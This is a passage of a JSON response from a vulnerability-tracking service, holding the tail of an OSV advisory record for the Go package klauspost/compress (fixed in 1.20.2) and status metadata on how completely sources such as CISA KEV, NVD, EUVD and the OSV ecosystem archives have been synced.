github.com/klauspost/compress","state":0,"publishedAt":"2026-11-05T22:54:32+00:00","modifiedAt":"2026-11-05T23:15:14.4727773+00:00","affected":[{"ecosystem":"Go","name":"github.com/klauspost/compress","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.20.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/klauspost/compress/security/advisories/GHSA-fpmh-frq8-7rj8","https://github.com/klauspost/compress/commit/7f5d8528720c895a6106f201719f87eb030a565d","https://github.com/klauspost/compress/releases/tag/v1.20.2"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6865","license":"OSV · upstream source license applies","key":"osv:GO-2026-6865","identifiers":["GO-2026-6865","CVE-2026-116591","GHSA-fpmh-frq8-7rj8"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-17T13:30:05.9542452+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-17T13:30:05.9542452+00:00","lastSuccessAt":"2026-11-17T13:30:08.648879+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:08.6488858+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-30c3da459c38698a15d626d89e52e03e55e19fc45dae0e6d8d723cbf35472cf4-240f0212e36c56a84920dcaf6ffbdddf1fbc8b0a948bd944c451cbf7328969f3","complete":true,"records":426331,"lastAttemptAt":"2026-11-17T13:26:17.7319446+00:00","lastSuccessAt":"2026-11-17T13:26:17.6611822+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:26:17.7319446+00:00","snapshotPublishedAt":"2026-11-17T13:24:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-dccc255467134701bc6dd28e35cb87a9","complete":false,"records":13840,"lastAttemptAt":"2026-11-17T13:41:32.3800822+00:00","lastSuccessAt":"2026-11-17T13:41:32.374+00:00","error":"393 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-17T13:41:32.374+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13324,"expectedIdentifiers":13890,"failedIdentifiers":393},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-17T13:30:05.9542452+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-17T13:30:05.9542452+00:00","lastSuccessAt":"2026-11-17T13:30:08.6528714+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:08.6528721+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-8b032702cacd4aa1aabb59f12bcc0dac","complete":true,"records":13853,"lastAttemptAt":"2026-11-17T13:30:21.1491867+00:00","lastSuccessAt":"2026-11-17T13:30:21.128+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:21.128+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13890,"expectedIdentifiers":13890,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-66941ff4149395c0d1a7082fb2226c4cd21c13f3179212d5083b3970d0d2aa5f","complete":true,"records":9958,"lastAttemptAt":"2026-11-17T13:30:05.2355665+00:00","lastSuccessAt":"2026-11-17T07:28:38.090533+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:05.2355665+00:00","snapshotPublishedAt":"2026-11-17T07:18:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-17T13:26:19.6192912+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:26:19.6192912+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-5f9b762c8d9707349bf2314d182e55bec21d771dbccab0df7bdffa40d8f89f37","complete":true,"records":3166,"lastAttemptAt":"2026-11-17T13:30:05.8303295+00:00","lastSuccessAt":"2026-11-17T11:30:06.6446748+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:05.8303295+00:00","snapshotPublishedAt":"2026-11-17T10:33:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-1b23fe1fcc8846ea8adc5f94151dfba9de4400f51d4b063ed7f403334889a0e2","complete":true,"records":232595,"lastAttemptAt":"2026-11-17T13:30:03.767104+00:00","lastSuccessAt":"2026-11-17T13:30:02.1623938+00:00","error":null,"lastVerifiedAt":"2026-11-17T13:30:03.767104+00:00","snapshotPublishedAt":"2026-11-17T12:33:21+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}